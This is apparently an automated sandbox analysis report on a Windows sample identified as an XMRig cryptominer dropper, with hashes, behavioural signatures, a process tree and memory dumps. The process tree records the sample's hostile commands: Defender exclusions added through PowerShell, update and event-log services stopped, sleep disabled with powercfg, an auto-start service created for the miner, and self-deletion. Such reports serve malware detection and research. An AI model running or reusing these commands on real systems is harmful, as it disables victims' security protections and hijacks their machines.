Analysis

  • max time kernel
    119s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-07-2024 07:33

General

  • Target

    8969d20d6f6de4bf197080e655720050N.exe

  • Size

    5.4MB

  • MD5

    8969d20d6f6de4bf197080e655720050

  • SHA1

    3af590ee498585e2373431719f62abfc9bef7df6

  • SHA256

    75348cb42cd9388b4205754c3ffed9ac5bd13aa6c3f1917caa53acde8b29f349

  • SHA512

    7f988b25e9ccc019143b66ac43d71f267594c15a7839dac2320ed8f047573f47c2237480625a7dd696c21b0b70d214dcb76fe85ffee0cd0c2e04451907fc520c

  • SSDEEP

    98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe
    "C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3476
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4900
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1548
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4876
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:3472
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2472
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:3900
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:4868
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1616
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1020
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4052
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4084
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "NCUDPJVW"
        2⤵
        • Launches sc.exe
        PID:4412
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2204
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:3424
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "NCUDPJVW"
        2⤵
        • Launches sc.exe
        PID:3520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:4768
      • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
        C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:436
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:4532
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:4844
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:3732
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:3708
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:4812
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:228
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3656
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5032
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2256
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4240
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:3080
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:316

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe

            Filesize

            5.4MB

            MD5

            8969d20d6f6de4bf197080e655720050

            SHA1

            3af590ee498585e2373431719f62abfc9bef7df6

            SHA256

            75348cb42cd9388b4205754c3ffed9ac5bd13aa6c3f1917caa53acde8b29f349

            SHA512

            7f988b25e9ccc019143b66ac43d71f267594c15a7839dac2320ed8f047573f47c2237480625a7dd696c21b0b70d214dcb76fe85ffee0cd0c2e04451907fc520c

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iyafsca.1tz.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/316-63-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-62-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-72-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-70-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-58-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-74-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-59-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-57-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-60-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-73-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-65-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-66-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-68-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-67-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-69-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/316-64-0x00000269879B0000-0x00000269879D0000-memory.dmp

            Filesize

            128KB

          • memory/316-61-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3080-50-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3080-56-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3080-49-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3080-51-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3080-52-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3080-53-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4764-46-0x000001D7F94E0000-0x000001D7F94EA000-memory.dmp

            Filesize

            40KB

          • memory/4764-39-0x000001D7F9280000-0x000001D7F9335000-memory.dmp

            Filesize

            724KB

          • memory/4764-44-0x000001D7F94A0000-0x000001D7F94A8000-memory.dmp

            Filesize

            32KB

          • memory/4764-43-0x000001D7F94F0000-0x000001D7F950A000-memory.dmp

            Filesize

            104KB

          • memory/4764-42-0x000001D7F9490000-0x000001D7F949A000-memory.dmp

            Filesize

            40KB

          • memory/4764-41-0x000001D7F94B0000-0x000001D7F94CC000-memory.dmp

            Filesize

            112KB

          • memory/4764-40-0x000001D7F9340000-0x000001D7F934A000-memory.dmp

            Filesize

            40KB

          • memory/4764-45-0x000001D7F94D0000-0x000001D7F94D6000-memory.dmp

            Filesize

            24KB

          • memory/4764-38-0x000001D7F9260000-0x000001D7F927C000-memory.dmp

            Filesize

            112KB

          • memory/4900-16-0x00007FFED3570000-0x00007FFED4031000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-0-0x00007FFED3573000-0x00007FFED3575000-memory.dmp

            Filesize

            8KB

          • memory/4900-15-0x00007FFED3570000-0x00007FFED4031000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-12-0x00007FFED3570000-0x00007FFED4031000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-11-0x00007FFED3570000-0x00007FFED4031000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-1-0x000001F3F86D0000-0x000001F3F86F2000-memory.dmp

            Filesize

            136KB